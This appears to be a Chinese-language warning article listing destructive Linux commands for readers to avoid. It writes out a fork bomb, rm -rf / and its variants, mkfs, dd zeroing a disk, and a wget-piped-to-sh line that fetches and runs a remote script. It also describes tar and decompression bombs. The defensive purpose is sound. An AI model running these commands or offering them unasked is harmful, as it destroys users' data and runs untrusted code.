Linux Shell/終端命令極其強大,即使是一條簡單的指令也可能導致資料夾、檔案甚至整個路徑被刪除。在某些情況下,Linux 甚至不會詢問確認便直接執行,造成無法挽回的資料遺失。網路上流傳許多針對新手的「惡作劇」命令,但這些代碼一旦執行絕非玩笑。本文整理了 9 個對系統極具破壞力的 Linux 命令,旨在幫助讀者識別並避開它們。請切記:這些命令極其危險,經修改後甚至可能造成更嚴重的後果。另需注意:部分命令僅在 Ubuntu 中加上 sudo 前綴時才具破壞力,而在其他發行版中,則需以 root 身份執行才會產生同樣後果。
:(){ :|: & };: 這是一個經典的 Bash 函數,執行後會無限自我複製,迅速耗盡系統進程資源,導致系統凍結。唯一的解決辦法是強制重啟。在終端輸入時務必萬分小心。
mv 目錄 /dev/null — 黑洞移動/dev/null 是一個特殊的設備文件,所有寫入其中的資料都會被丟棄,但操作會提示「寫入成功」。將重要目錄移動至此,相當於將資料扔進黑洞,無法恢復。
rm -rf — 遞歸強制刪除rm -rf 可快速刪除目錄及其所有內容。若不慎在錯誤路徑(如根目錄 / 或當前目錄 .)執行,後果不堪設想。常見變體包括:
rm -rf /:強制刪除根目錄下所有內容(含寫保護文件)rm -rf *:刪除當前工作目錄下所有檔案與子目錄rm -rf .:刪除當前目錄及子目錄所有內容mkfs — 格式化文件系統mkfs 及其變體(mkfs.ext3、mkfs.ext4、mkfs.vfat 等)會將指定分區格式化為空白文件系統,導致該分區所有資料永久丟失。大多數需要 root 權限,但 mkfs.cramfs 例外。
解壓惡意製作的 .tar 壓縮包時,若未指定目標目錄,成千上萬個同名檔案會直接釋放到當前目錄,覆蓋現有檔案並造成混亂。防範方法:解壓前先建立新目錄,將壓縮包移入再解壓。
dd — 磁碟塊級複製dd 用於磁碟分區的底層複製與轉換。若輸入/輸出設備搞錯(如 dd if=/dev/zero of=/dev/sda 將主硬碟清零),資料將無法挽回。常見危險用法:
dd if=/dev/hda of=/dev/hdbdd if=/dev/zero of=/dev/hda(將整盤清零)有人可能誘導你下載並執行腳本:wget https://惡意來源 -O- | sh。腳本中可能包含任意破壞性代碼。切勿盲目執行不明來源的腳本。
編譯不可信的源碼同樣危險,攻擊者可在龐大代碼庫中隱藏後門。原則:僅編譯來自可信來源的代碼。
極小的壓縮檔(僅 KB)解壓後可能釋放數百 GB 資料,撐爆磁碟導致系統癱瘓。防範原則同樣是:拒絕接收、解壓不可信來源的壓縮檔。